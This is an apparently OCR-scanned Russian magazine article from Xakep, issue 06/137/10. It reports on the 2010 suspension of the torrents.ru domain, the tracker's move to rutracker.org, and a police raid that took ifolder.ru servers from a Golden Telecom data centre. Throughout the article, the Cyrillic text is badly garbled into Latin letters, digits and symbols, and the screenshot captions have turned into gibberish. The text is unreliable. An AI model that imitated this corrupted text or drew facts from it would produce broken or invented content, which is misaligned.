Ho XOTs:! rpexe p aapatioran. y J1fO,lJ,eVlBOBCe He nponano >Ken3Ht.1e paaofiparsca B np06J1eM€ III nOH51Tb, Ha KaKOM OCHOBaHV1t.1 Ha Jlf06t.1MbIVi pecypc TaK «uaexanu». Cv1TyaLJ,Vls:l, TeM speMeHeM, ManO-nOMaJlY Ha4ana npOs:lCHSHbCs:I, V1 yeM 60JlbWe ncnpofiaocre a nOs:lBJls:lJlOCb, TeM crpa-u+e e BCE 3TO SblrnS1,lJ,eJlO.

3,1J,eCb CTOI.1T OTMeTIt1Tb, 4TO noua-rany B npecce It1 KpaTKIt1X KOMMeHTapV1s:1X npe)J,cTaBIt1Tenellt CKn q,WYP"pOBan "YTb n" He CYl\e6Hbifi "CK OT KOMnaHlIIlI1 Autodesk. Jloruxa T3K>Ke nOACK3- 3b1B3Jla, 4TO HeKVli.1l11CK lI1JlVlll1HOVI BecKV1V1 fOPV1- AVlY€CKV1i.1 nOBOA,lJ,On>KHbI6bIJllt1l11M€Tb MeCTO

- ,lJ,3>K€ B POCCIt1It1 He Ka>K)J,bllll ,lJ,€Hb 3aKpblsafOT TaKllle orpOMHble pecypCbl. Ho npV1MeH5Hb K ,lJ,aHHOVi CIt1TyalJ,1t11t1 JlOrlt1KY OK33anOCb HeCKOJlbKO nocneWHblM peWeHII1€M ..

Heckcru.xo AHetii cnycra, B TO SpeMs:l KaK

rpexe p 06>Klt1sancs:l Ha HOBOM AOMeHe, a

pYHeT n pOAOJl>Kan 6ypnll1Tb, n psncra BV1TeJl V1 Autodesk ocpl'1lJ,lI1aJlbHO 33S1BlI1nlt1, 4TO KOMnaHV1S1 He pacnonarana II1Hcj)QpMalJ,lt1eVi 0 rOTOBS:!~ w,eMCs:! 3aKpblTIt1111 Torrents.ru It1 v»: TeM 60nee He s snsnacs II1HIIIlJ,lt1aTOpOM paCCMOTpeHV151

ne na. npl!lMepHO 8 3TOT »ce OTpe30K SpeMeHI!I OT npl!l4aCTHOCTII1 KO BceVi npOV1CXO,lJ,S1w,eVl Hepa36epl!lxe OTKpeCTI!IJlV1Cb KOMnaHI!IS11 C, a TaK>Ke ps:l,lJ, neuansuo V13BeCTHbIX Ha npocrcpax Hawei1 PO,lJ,I!IHbl npaaccbnanareneji.

Ho neno y CKn ace xe 6blnO," KaKoe' CYA"

nOTOMY, KaKCne,lJ,CTBeHHblt:1 KOMI.'1TeTTs:lHyn c KOHKpeTHblM OTBeTOM Ha sonpoc «sa 4TO?!», 111M CaMI!IM 6blno KaK-TO HeJlOBKO.

OKa3aJlOCb, np0V13·0WJlO cnenyiouree: 26 $1HBapS1 rexyuiero rona HeKVlt:1 >KIt1Tenb Mccxau «aanl'1caJl Ha >KeCTKl'1V1 )J,It1CK 3BM» KOHTp3cpaKTHy~ pyccxyio aepcvno nporpaMMbl AutoCAD

OT KOMnaHI!IW Autodesk [HaKOHelJ, crane s:lCHO, np"4eM 3AeCb ao obuie Autccesk!l. Ho 4YBaK He npOCTO lo1Men y ce6s:! nuparcxyio sepcmo nporn, HeT, OH cOBepWVlJl Y>KaCHOe 3nOAe~ s:lHVle - aanucan ee ua YY>Kot:1 xaprrna ew,e nocMennonYYVlTb3a3ToBo3Harpa>KAeHl!leB pa3Mepe 1,5 TbIC"4 py6nefi. a np"4aCTHOCTt1

K 3Tlo1M crpaun-u« MaCWTa6HbiM MaXV1HaLl,VlS1M rpexepa torrents.ru cnenoaarena. CY,1],$1 no BceMY. Y>Ke nor ananuc s caMVI [KaKI!IM V1MeHHO 06pa30M - HeV13BeCTHO, HO Mbl nonoapeaaev. 4TO AeAYKT"BHbIM MeToAoMi. PYKOBOACTBYOCb 3TV1M BHe3anHbiM 03apeHVl€M, npe.acraem enl!l «opra-roa», ofiparvnuc s 8 «PY-WeHTp» C

n pocb6o(:1 n pV10CTaHOBlIlTb ne ne rlt1 po aa H V1e AOMeHa Ha BpeM$1 npOBeAeHI!I~ npe naapurensuor o Cne,lJ,CTBV1S1, pa)J,1!I «npencrspauieHI,HI cOSepWeHI!I$1 nO,lJ,06HbIX npecrynneu-ni». Hya s «Py-Lle-npe» BHe3anHO oxaaanacs rcnsxo pa,lJ,bl nOM04b I!I nocoAet:1cTBoBaTb,

6e3 KaK"X-nt160 npeAynpe)l(AeH"" B aupec a,lJ,MIt1HI!ICTpaLl,V11!1 rpexepa «VlcnonHV1B C80(:1 rpa>K,lJ,aHCKV1t:1 ncnr». Tu o.uyuraeuis. KaK no-

e suuaercs rpanyc Mapa3Ma?To JlV1 ew,e 6y,o,eT Mana roro, 4TO K a,lJ,MV1HaM 6blBwero torrents. ru He nocrynano HVlKaKI'1X npeTeH3Vlt:1, 1'1 OH~l Y3HasanV1 a npOI!ICXO,lJ,S1w,eM V13 rex >K8 V1CT04- HVlKOB, 4TO vi B3BOJlHOBaHHbie nOJlb30SaTeJlI!I, TO ecr s 1!13 CMI!1, BC)1 3Ta -rexapaa KTOMY >Ke MV1CH14eCKI!IM 06pa30M coanane cpasy C ,lJ,ByMS1 04eH b Jlf060n blTHblM I!I C06blTIt1$l MIt1.

nepsblM C06blTIt1eM $1 ensnocs OTKpbITIt1€ «riepaero neransr-oro OHJlat:1H-KIt1HOTeaTpa PYHeTa» EKinoT.ru. HeT, HaC4eT «nepsoro neranbHO-

r o» - 3TO He WYTKa, 3TO Ll,1!1TaTa. C03,lJ,aTenV1 AaHHoro pecypca aKKypaT B KOH~e "HBap" rp03VlJlV1Cb COBMeCTHO C MV1HVlCTepcrBOM KYJlbTYPbl PeD npcae cru pS1,lJ, CnelJ,MepOnpVlS1TVlt:1 no 60Pb6e C KOHTpacpaKTOM B CeTI'1. ECJlI'1 T04Hee, OTAen "K», npoxyparypa MOCKBbl" 053n YBA no fOBAO nnaHl!lpOSanV1 npwcransuo Vl3YYVlTb pecypCbl Torrents.Ru, Share Reactor.Ru a ")I(e C HVlMVl. BepO~THO, 3TOT nnau 6blJl aonnoureu

B >K~13Hb, V1 cnOSOCOYeTaHl'1e «3aKpbITbl(;i rpekep» BblweynOMs:lHYTble pefis ra SOCnpl!lH$1JlIl1 KaK-TO 4epeC4YP 6YKBanbHO.

BTOPblM >Ke C06blTI'1eM 6blJl BV13V1T S POCCVlfO ,lJ,eneraLl,V11!1 CV1.nbHbIX OT MV1pa IT. B KOH-

ue oe spana Hawy CTpaHY n04TII1JlV1 CBOll1M npl!ICYTCTBl!leM npe,lJ,CTaSI!1TeJ1V1 eBay, Twitter, Cisco Systems, Howcast, Edventure, Social Gaming Network VI Mozilla. YY€Hb!e, BoeHHble It1 6~13HecMeHbl npll1e3>K3JlV11!13~3a oxeaua 06MeHVlSaTbe>=l o nsrrov. Bee npoxortnno ua caMOM BblcweM ypo sue. a B COCTase ,1],e.neraLJ,V1V1 npVlcYTcTSOBaJlV1, HanpV1Mep, ocaoearens Twitter, A)I(eKAopc"," 3WTOH KYT"ep, KOTOPbli:1 He ronsxo akrep, HO V1 V1CnOJlHI!ITeJlbHbl!o1 A"peKTOp Catalys.

XAKEP 06 /137/10

KOMHKC C «nHPATCKO~ 6YXTbl» HE YCTAPEBAET.

Crpauucsaroe nonY4aeTCI1 cosnap,eHVlePYKOBop,v1TenV1 KpynHeViwVlx TeXHOJlOrvtLJeCKiI1X KOMnaHl!1V1 CWA npueaxaior 8 Po C 0110 , VI y Hac TyT >Ke 3aKpblBaeTC$1 caMbl1ii CTpaWHbilii «pacCa,lJ,HVlK n.iparcraa». 06pa3LJ,OBO-nOKa3aTenbHO 3aKpblBaeTCI1, 6e3 06M1CHeHVlVI npVl4V1H VI rJ1aBHO~, cosepweHHO HenpaSOMepHO OTHocvnenbHO HenpaSOMepHOCH1 XOTenOCb 6bl cnsnars He6oJlbWOe o=crynneuae. Ilene B TOM, LlTO CYAVlTbCH C Bna)J,enbL\aMIt1 TpeKepOBp,eno xnono ruoe )J,a>Ke no 3ana)J,HblM MepKaM,

a y>K no poccvdkKV1M - VI nO,1J.aBHO. XvnpOCTb (O(TOI:1T B TOM, '-ITO Ha CaM\IIX ToppeHT-Tpe-

----- HoaOCIH Tpel(epa

22-A.e;p -rndie-lllynn .. Tinavie"cheesepeople

Cero,aH~ py6"t1 na"..:. Radio '<<1'-(3 >< Eie><Zo6aK npenctaenarcr C80~ HOe",!! nnaCTY-H""

lZ-A.-.p HOS31\ 3y,a>COKH:.raj]M><ip"R rr.yXOBCKoro, 3 i3o<Xe CSeJ¥.~;:; c>cHrn OT rpynn~ TOpIl3·H3-Kpy"e Q6-klp Anjmal~3ZYlC3th3rsjsnpeaCTaSIl">o"caoYlcae)l("'ec!<><rn ..

n-!o!~1> AEITODCKcH 03:lJla43 l5ecnll3niblX 15:·me'os H3 KOHuePT .. OT rnASCLU8 (CaHKT·ne'E'P6ypr)

@ ~O;~~::.:~:::~o':,.~~ lP<!~'pe • /I.,nopc><". D~JJla~~ @ ~O;(;~~;~~ a cem

Bonpocb! nO Kcnonb30Bi'lHKIO cjlOPYHi'I >1 r peeepa @ npaBlllm,oc,;oBHt>leUHopyl<tlHH,FAQ-H

@ B.O;'!::~;"~~ljIn:Py~~Yw~~;:e::v;~" l1m<e1lil . y .... a"1< a.:.l0YH' ~a lpe<epe (~a '<TO 3e5a~"",,

as i

@ nepeesn '''' Hoab,H AOMeH - npo6neHb' " l,eweH .. "

ASTopCKlle paaneu

• ISp~G~,A",bl.nt, o~r:':!

WHRl . ~mualp Sky f ~ Cenyon/Ameth'I'\fneC F,o,en Onne; (20D~·20

• [Pun~ Rock) SALE· nee

(21)10)

• (p'i'chedell~",~k, ~,"d I dQwntempoJ KlflAI~rOF' Oemu(Z010)

• [ArT'b,ent, Electron;c, ~~ """,.rock1 F~~d~"o~· 0 (f") (20l0)

• [Ex?erlme"\oIlAmbi~"!/1 Ger.res1FrozenCCe.ln Htde(2lHO)

_ (H'~·Hopl C~ec - ne,~.'

!20~OJ

• (OHIIO"H Hrp .. ] KiIlS~JIII

• [~Ie\al] ,,~"""'~ - HtJ<tC·

• rx-» ,,"=.1 UHCJP· ~." &oat· P~..,.,.e~{2IlH)

• [Ree!.:] Atp,,~a (6~'~"" Ho~co,,6"~.<ItOpr~j· ='P0.<l~~ef1 C~6~~= (lllO~

• !F~'I'roP:/!n"'.tumer.t< Alte,n.1tve] fleKo - ~Iy ~

• {dBnC<!meuolj:<e-NONf· (.ingle)·213!O

• [CI~~IC .. VFGI;:.rSacr~d'" Atmenla~ ""0"9'. Grigct ·lneghu'eon'mum(lr. {<OOS}

_(lntelli9"ntHtp·HcpjfHC (201'l)

- (l~d;eMp/""""ble~t/J3

->wge"bl«k{Z010]

• [In<lie·R~cI<, Fop, ilt<lus· Peo~le - W~II \'Iell \"Iell (

""e tOm:!nI (T~PP~hT) @ B.O~~~:=:':bln: ~::~~'~:~:::,:,:~,:;:,,~tT.a:~,,",PQji~O i><>yre~o~ \\ ~"~PMM~ • Fr~~!)""'nJMdM~Mg~' _ jlT""~nt ~

81tTorrent ~.)(. S.x. ~,~ • Vuu (crep~e Ha!~.""e . ':'~<lrew:). 3<1C"m~t - 9ot~~,rit • i(n"="",, nDO t,nux' l<.n~=""" =~ '·'~G OS

@ ~6n~..'1::~~e~:,~:!Ii:o~~o::.u. npn~a;'tI~~'" rEPr.IA)l'l!-i • np<;t.e".<lep" y""",,"", • A3AHrA?A (Ceeepc·3~na..,~",~ pemo,,)" 93S flllAC {c..",,;·ner~p6ypr1 • COR8INNSIlIT8\<N (~lneoU!3" CeH~I·ncre~evpr) • CTP:~M

@ ~~~'~n~~~:::::;e~!~~~:n;;,:::.~,:.:,,~, e .. 6ol> " "6Gy"",,e~"~ 'D~nII~><rI.""'''' . C~r~~o~ o6oP·,tI"ft~~"e . a.,6op"

o5.:-{IIUle",,~ n"p~¢o"pl'" • ~1()5~n~~"e VCTl><'('''"'s~

mb~M~~r.;> rJn"c~o~

~'~n;e~ :~~~~"

@ npennO>lle"~flno ynY<lU,eH,,>O KalcHop"" "I{I'HO, l.I"Aeo H TB"

@ I{.H:;.';:::,~:: ;y::::~::ca~e;~~a~T~ c 8!.U RAY .. ~iO-OVD

3"py6eH<HOeIlHHo

@ : ~~:~::::r.:;;:: _T~r:"':;~C::~~~:J<~6i~~~P':' ~:~,~~~~~~><~~~:;:~~Oo~~:~:,~:;-~~~,,~O:~~:~~:::~2e

ol<Te!l""4"mo" .. c")Cy~acn,e,,

@ . f'oc<:"~,",,, ... JCO~~To.~V.~ ~tX>lCCep .. ~ ,," rcO~~~CfIlO • ~;;<;,,,,c~~e/coe"""';'''e ~rnp~,,, t"nd'" C II"" V~.CT"e,,· ";~~D CCCP • JI~rc..,e o;~~=~~","e ~"'MJ'bI

@ ~P";':b,:!~~~:;=~;:'~:"K:,~~~). KopoT~~f' weT!! (Apr-uvo: ~ a'wpcKOe "."~GJ • lloKY"e"""r,~~",e ¢"~~w .. (A"r·~~y< " .~pc~ae .<,,~o) • A~"~~'m" (ApT·l<aYC" an>;lpc:.;.:oe ou'ka) • naro~o",,,, a6 ~1JT·:>:avce

@ T~::!<i>"C. M~Cl'e"" ,,"'V~= " .. ~~e"""eHHar e- TeliTll~" K>1"~.

HOBbl~ A.QPEC H HOBOE «RHUO» HAUHOHARbHOro 6HHOPPEHTTPEKEPA.

kepax H\;1KaKoro KOHTpa¢aKTHOrO KOHTeHTa HeT, TaM ecrs TOJlbKO eCbIJ1KV1. EeJH1 ynpouian, AD MaK01MYM3, TO TpeKepbl - no cyr a JlVlWb pscypcu, not-tor aioutue JlfO,lJ,s:1M HaWTVl ,lJ,pyr npyr a. ECJlV1 y>K KTO-TO V1 HapywaeTaBTopcKVle npaaa, TO 3TO nOJlb30BaTenV1 ToppeHTOB, a He snaziensuu rpexepce.

,lJ,a, KOHeYHO, non TaKiIlM yrnoM Hd p Zp-c ern cornaCHbl CMOTpeTb nanexo He ace: V1 Bee 3TO ,[IeWCTSV1TenbHO OyeHb cnopuo, Se,lJ,b B HeKOTO psrx CJlY4as:1X ,lJ,es:1TeJl bHOCTb rpekepa MO>KeT

~Torr.nt2.0

6HT - TOPPEHT - CKORbKO B 3TOM 3BYKE MH CEP.QUA PYCCKOro CRHROCb.

.... '-1~ ,;{ X II. if!; p.

'"'~'"" o;;;;;-~~=-~ .. ~- ~~"~r' n=:'- ~"~E

*lo<O\~"'(O) ~TO$_l~.,U-S -].~~ ,,- _. _. '" O(.;~) o~

.... rO,"'"""'(!3Jj ~W5_""""'_'.'9 0(3:3) ce»

U':",r,,,,,,,,,,,(H) tW'_U"·<9 0(6<) '(IS)

*""""""'''''''''"'') +i",eOlood·~lCo.-.p:el< 6.';'Ho; 0(15) O(.r,

.Tru.Bbcd·s.. ... ..,.,l O(,~) ';(ll)

.TN<.;(,oc.:j.S!llRl,.no".H)T\''(';.;.ol>S:S!~''''''' ~(4) Q{O)

=-----1ltT"' •. !:I<ood.)Ij<EjH.1200.~;V.U6+-D;r._a,,:o;j . ...,., 0(.;) O(~)

D~I"<"""'" .T"".SIoo<I.S'llE~l.nGo.HDTV.X~!Io16'5lC<'."*' 0-(') 0(0)

&T"",,5Ioo<I.SQ.lW;.nOo.Hi)T".~-.o!l-S.s:o:l."","" ~"'''l'''' om 0(0)

.T"' •. 5\oo.:l.SGlSDS.72llo.1<iTV.176-'{)lI0,;!w.".... "=~''''' OH) O(~)

~~~~~~~~~'~ ,,,. ,="," j~!~

Q~~~Ll$_,,",",",":::m.~·~ :t:;~

~'"''

~~:;='~~~=<P)

(,,, .. f\.;>!o"~"_

,;-:- -~

s 1 ,~

o • 0

a l rc

. . .

• 0 0

XAKEP 06 /137/10

6blTb pacu,eHeHa KaK CO,lJ,eWCTBV1e 8 raxor» por.a -rapyure anax .. KaK 6bl TO HVI 6bIJlO, C npaBOBOW TOl..JKV13peHV1s:1 BbIWeVl3nO>KeHHOe C03,lJ,aeT orpo-u+se np06JleMbl. HaWV1M ,lJ,05JleCTHbIM «opraaau» TaKV1X np06neM, O'-leSV1,D,HO, He XOTenOCb, n03TOMY OHVI Vl3s:1ll1,HO 060WJlillCb 6e3 peweHiIIS1 cyaa

LJTO,[lO ,lJ,eWCTBV1W «Py-Lle-rrpa» B ,[IaHHOW CV1- TyaLJ,vlV1, npOCTO npOLJ,VlTV1pyeM caMV1X npencraSIt1TeIlelil a,lJ,MVlHVlCTpaLl,iIlill rutraker.orq: «Marro 'tor o. YTO,lJ,elllCTBVlS1 «Py-L\eHTpa» HenpasoMepHbi V1 nps:1MO uapyuiaror ero xe c06CTBeHHble norcaopa V1 noaeuna. OHVI cpaKTV1yeCKV1 I1"CKpel1"T"pym ca My 110MeH Hy>O 30HY *. RU, nOCKOJlbKY «Py- WeHTp» s:1BJls:1eTCS1 Kpyn Heww VIM peruc rparo aou ,lJ,OMeHOB [Vl OAHospeMeHHO npeeMH"KOM PocHV1V1POC·ai. «Py-Lle+rrp»

ycr eun-o noxaaan BceMY MVlPY, - ro ¢YHKLJ,V10H~1- pOSaHiI1e ruofior o ,lJ,DMeHa B 30He .RU 3aB1-101T OT ps:1,lJ.OBOrO YVlHOBHV1Ka, a pe r ncrparop - npOCTO cpopMaJlbHblV! V1CnOJ1HlHellb era aonn». npe,lJ,CTaBVlTem1 «Py-LJ.eHTpa», B CSOfO oveper;s. xpaHV1m1 ncnrce MOJlyaHVle, a nOTOM nO>KaJlOsam1Cb, '-1TO npoKypaTypa BblnVlCaJla CJlIt1WKOM pa,lJ,V1KaJlbHOe npe,lJ,nV1CaHVle, VI VIM 60JlbWe HVlyem He OCTaSaJlOCb. npOKypaTypa 8 OTBeT CKPOMHO 3as:1BJlS1Jla, '-lTO Hl-1KaKOrO npennucaHVls:1 He fiu.ro. BMeCTO Hero 6blJla «npocstia».

a K SJla,[leJlbLJ,aM rpekepa npeTeH3V1W VI BOBce HVlKal(V1X. npOCTO 3aMeyaTeIlbHO - npeTeH3V1VI Hill y KOID HeT, a gOMeH yrinun.

Hy a renep s nO,lJ,Be,lJ,eM m or - rutraker.org npcnonxaer (80)0 pa60TY no H080MY anpecy, rrte AD Hero He MoryT ,lJ,06paTbC'rl HaWI!1 anacru. CTapblili ,[IOMeH ap,MV1HV1CTpaLJ,V1s:1 nnaunpyar aep- yr s. HO TOJlbKO pa,lJ,VI BOCCTaHOSneHltHl

~ 0

,;:: :=:~_:;:- ... :: . .':;:==-' ;::::~=.:::;.::::.,~

..

=.~;-..aE':'~::::::;;"E:'~

............. .:::::=.::::.";'.=~=-~::::.::.-=--"'-"

----- .. - ~ ....

@ =-"=---=: .

@:;e;:=::.:..:.::::.~..:..."'::;...._.~ __

~::::~..;;;~==::=--~-=::..~~:,. ;~.:::"-=~

TORRENTS.RU C nOCEPEBWHM. rpYCTHblM J1oroTHnoM H OfllHUHAJ1bHbIM 06bflBJ1EHHEM 0 CJ1Y4HBWEMCfI.

cnpase,.o,JH1BOCHI V1 pe,.o,V1peKTa. LJ.V1TV1PY~ npe,.o,CTaSV1Tenei-1 rpekepa: «V1CnOnb30BaTb ,.o,OMeH B 30He .ru nocne naur-oro t.1HLJ,t.1,.o,eHTa KaK-TO ... CbIKOTHO]».

KOMnaHt.1~ Oreamtorrent Corp.looauwansxue snanensuu HaWerO «HaLJ,I.10HanbHOrO 61.1Troppej-r rpe cepa»] TaK>Ke HaMepesanaCb no,.o,aTb B cyn Ha «Py-LJ,eHTp», K KOTOPOMY nocne cnY4l1tswerocs:llItMeeTCS1 MHoro BonpOCOB. KaK HV1 CMeWHO, C KlplIt,.o,I;14eCKOVI T04KI.1 3peH\lls:I

n pcnaourenure e MO>KeT Bbl i1nl 60KOM t.1MeHHO "Py-L\eHTPY". a He r pekepy.

KCTaH1. nepeCMaTpl.1SaTb CBOl!l npaau-

na V1 B3rn~,.o,bl 8 OTHOWeHl!Il!I KonVlpaCTOB KOMaH.qa rp e cep a no cny-raro ne p e ea.aa He HaMepeBaeTC~.

IFOLDER.RU

Bropo i noeuerie+rr. KOTOPbliil Mbl paCCMOTplIlM cer onus. TO>Ke npouao.uen COBceM He,.o,aBHO, V1 Tbl HaBepH51Ka 0 HeM cnsuuan.

nonaraKl, Tbl B xypce. 4TO cpai1noo6MeHHI~K ifolder.ru o enae'rc a O)J,HlIlM lII3 «pynuetiuiax cpaVinOBblX xoc r anro s B POCCl!Il!I [ecnl!l HeT,

TO renep s v»: TOYHO B «ypcel. Hauu- Kl3epbl npenno-urraior 3ana,.o,HbiM RapidShare V1 Oepositfiles l!IMeHHO :3TOT «CKna,LV>, l!I nnuiae e TOMy,.o,oKa3aTeJlbCTBO - 1,5 MJlH. saperucrpupoaauuux noru.aoaarer.eji. npl!IHa,.o,ne>KVlT AaHHblVi pecypc KpynHoi1 VI Y>Ke AOCTaT04HO crapoji POCct.1i1lcKoillIT-KoMnaHl!Il!I Agava.

V1 ace y ifolder.ru 6blno xopowo, T3K>Ke KaK

lit y ({H3LJ,l!IOHaJlbHOrO roppeur-rpexepa» - B «Arase- ac err;a wnllt HaBCTpe4Y npaacofina,.o,aTen51M l!I npaaooxpaHVlTenbHblM opraHaM, TO ecrs ynansnn nl!lpaTCKIIIVI 1;1/lIInVl HapywaKlUJ,VlVl 3aKOH KOHTeHT no nepBOMY xe Tpe60aaHl!IIO l!I SCS1yeCK!I1 co,.o,eViCTBosanVl «opraua-t».

Ila npOCT51T MeHS1 sna,.o,enbl.\bl rutracker.org 3a rakoe cpaBHeHV1e, HO, B OTn\l1Y!I1e OT!I1X pecypca. y araaOBCKoill cpaVino-nOMoC'tKlt1 penyTaLJ,!I151 Ky,.o,a 4!11w,e. B 3TOVI CSS13111 npousou.enuree C ifolder.ru B MapTe aroro ro,.o,a Bblrns:1Al!IT He npOCTO CTpaHHO. a 04eHb CTpaHHO.

BOJ1EH-HEBOJ1EH BCnOMHHAETCfl3TOT nJ1AKAT.

VlTaK, Ha 3TOT pas o6oillAeMCs:I 6e3 npensrcroP""" cpasy nepe"AeM K cyr a.

BeyepOM 17-ro MapTa rexyuiero rona ifolder. ru BAPyr cran HeAocTyneH. nOYT" cpasy B

CeT!I1 nOSiB!I1JlaCb VlHcpopMaLJ,l!IS1 a TOM, 4TO S nara-ue-rrp Golden Telecom no anpecy 2-a" yn. 3HTY31;1acToB A. 5. SiBlIInlllCb cneAOBaTenlll "33-" '{C ICY npu IYB,L\ MocKBb!. TOBap"UJ,Vl!l13 ({OpraHOB» npe,.o,bS1Sl!In!l1 nooroxon 0 He06xo,.o,l!IMOCT!I1 npose,.o,eHV1S1 oneparwauo-po- 3blCKHbiX Meponp!l1S1TVlVi C uerisjo nO!l1CKa ynt.1K, pa3Mew,eHHblK i+a carrre itoldcr.ru n YCTP0!l1JH1 S nara-ue-rrpe TO, 4TO B HapO,lJ,e Ha3blaaeTC51 «MaCKII1-WOY»·

Pa60THVlKl!I «Araas» XOTb lt1 CMYTHO nOHl!IManl!l, 4TO npowcxornrr, AD nocnern+ero nepxanncs Mono,.o,LJ,OM Vl see paSHO npe,.o,nO>KVln!l1 corpynH!I1KaM MVlnl!lLJ,lIt!l1 BCS1yeCKYfO nonnepxky t.1 nOMOUJ,b a nOWCKe HY>KHOVi!l1M l!IHcpopMaLJ,!I1V1 Ha cepsepax, a TaK>Ke B YCTaHOBneHIt1Vl nlJl'-lHOCTl!I nonsaoaarenn. aarpysaaurero npoxonsuute no HeseAOMOMY ,o,eny cpaiilnbl. Ho He TYT-TO 6bIJlO. BMeCTO Taro YT06bl noiilTl!I ua ,lJ,VlanOr C araBOBLJ,aMlIt, MVlM1l.\l!I51 Jl!l1Wb or uaxuynac s or HV1X lit B31=lJlaCb !I1CKaTb HY>KHbIVi cepaep caMOCTO- 51TenbHO. Cepsep Haxo,.o,IIITbCs:I n04eMY-TO He XOTen. Torna COTPYAH"K" MB,L\ npeAnp"H"n"

uonsmcy SblSe3TlJIl!I3 nare -ue+rrpa

sce otiopynosaune «a LJ,enS1x npoae,.o,eHl!I51 sxcnepraau». To ecrs aoo6w,e ace ofiopyno aaH"e - 74 c e pee pa. HeB3"pa" np n aTOM Ha TO. YTO nOM\IlMO cep aepo s ifolder.ru TaM pacnOflarafll!lCb VI npyrne pe cypcu, HlItKaKOrO or-ioureH!I1Si KflKl61;1MOMY HapO,lJ,OM cpai1flo06MeHHI;1KY He lIIMelOll(l!Ie. 3aMen1M, 4TO 06bl4HO s TaKl!IX cIIITyaLJ,II1S1X neno OrpaHl!I4I11aaeTC51\113b51Tt.1eM onuoro xapna 1;13 cepsepHOVI CToViKlIt.

KaKIIIM-TO 4y,.o,OM COTpy,.o,Ht.1KaM «Arasu» ace >Key~aJlOcbyroBopVlTbnpe,.o,CTaalJlTeneVi

opr aucs npaeonops nca OCTaS\I1Tb cepaaxn

Hd MeCTe. Bnp04eM. M\Ilnl!lLJ,V1Si 6e3 60s:! TO>Ke

He c,o,anaCb - cep se pts XOTb l!I He YBe3nt.1,

3aTO see. 4TO 6blflO MO>KHO, B nara-ue+rrpe onevarana V1 OTKnKllll!lnl!l OT CeT!I1, Bbl,.o,epHYS \113 p03eTK!I1. Cpegl!l OTKJlKlyeHHoro o60py,.o,oaaHl1s:1 Haxo,.o,lItnlltCb nepS\Il4Hbie DNS-cepaepbl «Aras sr», HO pabcra XOCTepa o'r aroro. K c-tac n.io, He nocrpaziana. LJTO xe npOl!l30WJlO ua 3TOT pas? KOe-YTO BeCbMa nOXO>Kee Ha cwryaumo C «3aKpbITl!IeM» torrents.ru. B nocnenaue roriu y anaCTeVl!l1 KOnl!lpaCTOB co acero Mlllpa noaBII1Jll1Cb ABe YHVlsepcanbHble, geillcTseHHble V1, MO>KHO CKa3aTb, JH06WMbie nyrana a cr+rouieHl!I!I1 t.1HTepHeTa - 3TO 'te ppop nate t.1 ne rckoe nopuo. lt1MeHHo nocncnue e l!I OKa3anOCb noBII1HHO B He,D,aSHIt1X 3JlOKnlOYCII"H1X ifoLder.ru.

XAKEP 06 /137/ 10

l!J

<:ItJlJ.lcrUE.fIHbll! KOMImT l.LPI' rlPOkYP!\TY'P'E P()CC.~!i("KOll <blV\llP1II.lIrn

lfupelcrUJ>Y

AHO "Pernomun.EWl! Ceresog i'bl<\10p,,'''''IOIDtblP. QCIl1J'"

C..JJJ!!I.crolUIJ'fOE. 'JOJ'ADJlllI"{i'fe no ropo)lY MOo..1I6

(.JJJ!:/~CTOl:l;lJ1.U.ill 0'1'1.1"" no 'II;L''J'AJJ.OIJCKOMY l'AilOHY I-Ol'()}J.A MOCKllbl

o.n. lIKo"nl)J\o9

JIemWTp3llcmJl np-n .. 74,x . .4, Mocxse, l2S:;lS

111~~. Mocull., B~lluto..a:;.:oe UlOOCdJ:... 75. ~:t; l 16.02.20l0 It; 3'13221

A.B. C}llJOHOD

3JlOCYACTHAR 6YMArA. ~3-3A I{OTOPOH np~OCTAHOB~Jl~ .nEJlEr~POBAH~E TORRENTS.RU.

5YKBaJlbHO Ha cJleAyf()W)1~ )J,eHb nocne 06blCKa npeACTaB"Te@ ,YB):\ npOKOMMeHT"pOBan" clI1TyaL\I!lIO. Okaaancc s. 4TO MO(KOBCKas:i MIt1Jll;1- lJ,V1s:J npl!1OCTaHOBV1Jla nocryn K iFolder B CB)=I3l;1

C TeM, 4TO -repe s Hero He1t13SeCTHbie pacnpoCTpaH""" AeTCKYIO nopuorpaomo. 4T06bl He AonYCH1Tb p,anbHeiiiwero pacnpocrpaueuns nopuovarepnanoa. KCTaTVl. no HeKOTopblM AaHHblM pacnpccrpaaeaneu )J,eTCKoro nopuo 3aH!IIMaJl!l1Cb He «He!l13SeCTHble», a s nortue KOHKpeTHblVt nep,0cp!l1J1, «croporo Y>Ke nOWMan!l1, YJlW-H1nlll B pacnpocrpaae-uia nopuyxu. VI npu 06blCKe VlCKaJlVl era cpaMJ1bl.

Cnopy HeT - p,eTCKaS1 nopHorpacpVlS1, KOHelJHO, Mep30CTb, Vl aa Hee B caMOM p,eJ1e Hy>KHO Cy,aVlTb VI caxar s, HO BMeCTO aroro eio -iauie n0J1b3YfOTCS:1 KaK O'-leHb Y,ll,05HOW WVlPMOi:1. B CJlY4ae C «AraBOM» BOJleM-HeBOJ1eM 3aKpa,o,blsafOTCS1 MblcnV! 0 TOM, 4TO Ha cepsepax XOTem1

XAKEP 06/137/10

HaMT!I1 He ro.nsko ynOM>1HyToe ,aeTCKoe. nopao. CaMV! npep,CTaBVlTenVl «Arae si» CJ1YYVlBWeecs:J npOKOMMeHTVlpOSaJ1Vl CJ1ep,yfOLlJ,VlM 06pa30M: «KOMnaHVls:J Arasa CYVlTaeT npovaourenuie e 5ecnpell,€p,eHTHbIM Co5blTllleM, «cropoe CTaBl-1T non yrposy VI COMHeHVle cpaKT cyw,eCTBOBaHVls:J Vl pa38V1HHl nto6oro 6!113HeCa 8 pyue re. Mbl HaMepeHbl 60POTbC51 VI OTCTa!l1BaTb VlHTepeCbl

c e peu ca u era Kn!l1eHTOB, a TaK>Ke 3apaHee 6naCOi\ap"M K""eHTOB aa "H¢OpMa~"OHHYIO 111J1!11 J1I06yfO npyryio nOMoUJ,b S 3TOM nerie» OYeHb C03BYYHO C KOMMeHTapll1eM npezicraSVlTeneVl3Kc-torrents.ru, He TaK J1111? ,lJ,e Vi CTBIllTenbHO, OCTaeTCs:1 TOJ1bKO nOpa>KaTbCs:! 6ecnpei\eny, TBOP"llIeMYC" B 30He .ru, na nuTaTbCS1 OTCTaIII san, CSOVl nopyr a+u-sie npasa. nOcnep,Hee «Ar aae», K C4aCTbfO, ynanocs. CII1Tyall,lI151, KaK H!I1 yp,II1BVlTenbHO, pa3peWII1J1aCb cBoe06pa3HbiM happy endow, nccne xoroporo

